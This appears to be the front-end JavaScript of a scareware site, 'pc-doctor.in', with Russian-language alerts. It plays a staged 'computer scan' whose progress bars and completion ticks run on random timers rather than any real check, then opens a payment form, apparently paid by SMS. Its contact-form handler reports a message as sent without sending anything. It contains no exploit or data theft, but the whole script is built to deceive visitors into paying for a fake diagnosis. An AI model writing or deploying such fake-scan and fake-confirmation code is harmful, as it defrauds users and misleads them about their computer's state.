var domain_name='pc-doctor.in';
var PayForm=Class.create({
	show:function(){
		new Ajax.Request("http://"+domain_name+"/main/activity",{method:"GET"});
		new Effect.Appear("sms_form_overlay",{from:0,to:0.4});
		new Effect.Appear("pay_form_conteiner",{afterFinish: function(){new Effect.ScrollTo('pay_form_conteiner');}});
	},
	close:function(){
		new Effect.Fade("sms_form_overlay",{from:0.4,to:0});
		new Effect.Fade("pay_form_conteiner");
	}
});
var pay_form=null;pay_form={show:function(){alert("Пожалуйста подождите. Идет загрузка страницы.")}};
document.observe("dom:loaded",function(){pay_form=new PayForm();});

var countries=new Array,countriesLow=new Array;function validateCf(f){var v=true;$(f).getElements().each(function(el){if(el.getValue()=='')v=false;});if(v){alert('Ваше письмо успешно отправлено!');f.reset();}else{alert('Все поля обязательны для заполнения!')}return false;}function random(n,m){return n+Math.floor((m-n+1)*(Math.random()%1));}
var button_layer_effect = null;

var preloader_timer=null;

function changeCheck(event) {
	element = Event.element(event);
	event.stop();
	if (element.tagName.toLowerCase()!='li') element = element.up();
	if (!element.hasClassName("checked")) element.addClassName("checked");
	else element.removeClassName("checked");
}

function isChecked() {
	res = false;
	$('checkboxes').childElements().each(function(element) {
		if (element.hasClassName("checked")) {res = true;}
	});
	return res;
}

document.observe('dom:loaded', function(){
	$('button_layer').observe('mouseover', function(){
		if (button_layer_effect) button_layer_effect.cancel();
		button_layer_effect = new Effect.Morph('button_fill_red', {
			style: 'width:100%',
			duration: 0.5
		});
	});
	$('button_layer').observe('mouseout', function(){
		if (button_layer_effect) button_layer_effect.cancel();
		button_layer_effect = new Effect.Morph('button_fill_red', {
			style: 'width:0%',
			duration: 0.5
		});
	});
});

function startScanUK(){
	new Effect.Parallel([new Effect.Appear('step_2',{sync:true}), new Effect.Fade('step_1',{sync:true})],{duration:0.7});
}

function scanStep2UK(){
	new Effect.Parallel([new Effect.Appear('step_3',{sync:true}), new Effect.Fade('step_2',{sync:true})],{duration:0.7});
	setTimeout("scanStep3UK()",random(3000,4000));
}

function scanStep3UK(){
	new Effect.Parallel([new Effect.Appear('step_4',{sync:true}), new Effect.Fade('step_3',{sync:true})],{duration:0.7,afterFinish:function(){scanStep4UK(1);}});
}
function scanStep4UK(step_number){
	if (step_number>1)new Effect.Parallel([new Effect.Appear('step_item_complete_4_'+(step_number-1),{sync:true}), new Effect.Fade('step_item_loading_4_'+(step_number-1),{sync:true})],{duration:0.3});
	if (step_number==8) setTimeout("scanStep5UK()",random(3000,4000));
	else{
		clearTimeout(preloader_timer);
		new Effect.Appear('step_4_'+step_number,{afterFinish:function(){
			showPreloader('green',4);
			setTimeout("scanStep4UK("+(step_number+1)+")",scan_step_time_interval[2][step_number]);
		}});
	}
}
function scanStep5UK(){
	new Effect.Parallel([new Effect.Appear('step_5',{sync:true}), new Effect.Fade('step_4',{sync:true})],{duration:0.7});
}

function scanStep6UK(){
	new Effect.Parallel([new Effect.Appear('step_6',{sync:true}), new Effect.Fade('step_5',{sync:true})],{duration:0.7});
}

function scanStep7(){
	if ($('accept_rules').checked) pay_form.show();
	else alert('Для продолжения необходимо принять "Пользовательское соглашение".')
}

function showPreloader(color,number){
	var width1=$(color+"_preloader_"+number).getWidth(),width2=$("gray_preloader_"+number).getWidth();
	if (width1<width2){
		$(color+"_preloader_"+number).style.width=(width1+3)+"px";
		preloader_timer = setTimeout("showPreloader('"+color+"','"+number+"');",350);
	}
}

var scan_step_time_interval = new Array;
scan_step_time_interval[2] = new Array;
scan_step_time_interval[4] = new Array;
var tmp=0,tmp1;
for (i=1;i<=4;i++){
	tmp1 = random(7000,9000);
	scan_step_time_interval[2][i] =tmp1;
	tmp+=tmp1;
}
tmp=0;
for (i=1;i<=6;i++){
	tmp1 = random(5000,7000);
	scan_step_time_interval[4][i] =tmp1;
	tmp+=tmp1;
}
scan_step_time_interval[2][5] = 31000-tmp;
scan_step_time_interval[4][7] = 31000-tmp;

document.observe('dom:loaded',function(){
	$('checkboxes').childElements().each(function(el){
		el.observe('click',changeCheck);
	});
});